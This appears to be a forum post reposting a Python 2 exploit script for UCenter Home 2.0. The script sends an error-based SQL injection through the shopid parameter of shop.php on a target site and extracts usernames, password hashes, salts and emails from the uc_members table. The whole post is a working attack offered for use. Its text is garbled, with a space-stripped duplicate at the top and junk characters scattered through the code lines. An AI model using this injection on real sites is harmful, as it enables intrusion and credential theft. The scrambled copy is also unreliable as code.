UCenter Home 2.0 EXP

admin

#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl

& R+ g- ^, O. x+ r2 [) E
#!/usr/bin/env python  
+ S# B1 a, B, a$ U% g4 y# ~
0 f& p) U* r1 L; Cimport sys  
( P4 Z, j9 u7 s) |+ U) e0 Himport urllib2  
import re  

0 b; u5 ^% I4 u# ydef info():  
- G$ d. x3 s: w* M& y+ M    print 'From:http://www.exploit-db.com/exploits/14997/'
    print 'http://www.hake.cc/Web_loudong/'
8 n, s4 t" x2 K4 W# ]    print 'changed:qiaoy'  
  R* v$ @; u  T2 S+ C! z7 @    print 'exp:'  
    print ' ./UCenter_Home_2.0.py site'  
" J9 O1 ?; A8 T: ]6 l
0 \( H- X5 R5 r* Q8 O7 gdef main():  
3 ~; Q5 v7 j3 F6 B# _( u  [$ w    if len(sys.argv) != 2:  
        info()  
' q1 |  Z  Q( f- p) F    else:  
: z2 @9 A, Y- y' l3 g" ?3 s        site = sys.argv[1]  
        if site[0:7] == 'http://':  
6 C0 z! N6 y0 G            sitesite =site  
- x- C& \/ k, H0 g0 Q        elif site[0:8] == 'https://':  
! Z! d0 [7 s, s6 v* K* J            sitesite = site  
- F9 i# c2 C: ^& o: h        else:  
            site = 'http://'+site  
& O" z, K' b4 [, o( n4 S% [        try:  
            url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1'  
            Value = urllib2.urlopen(url).read()  
9 k' y& F" L/ L1 j            Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]  
9 N# C2 r5 X& J! N  R$ C- N$ h            hacked = Msg.split(':')  
' J8 y& Y8 j2 ~3 h- e% W4 f- P            print 'Name:    '+hacked[1]  
            print 'Passwd:  '+hacked[2]  
$ `% k" l0 n# D; i' p5 x& b& Y            print 'salt:    '+hacked[3]  
$ D* U( ^6 x0 G6 m- S! r            print 'email:   '+hacked[4]  
        except:  
            print 'Sorry,I can\'t work............'  

0 r7 ?8 O4 p$ Q$ \6 H2 Q' \' Wif __name__ == '__main__':  
    main()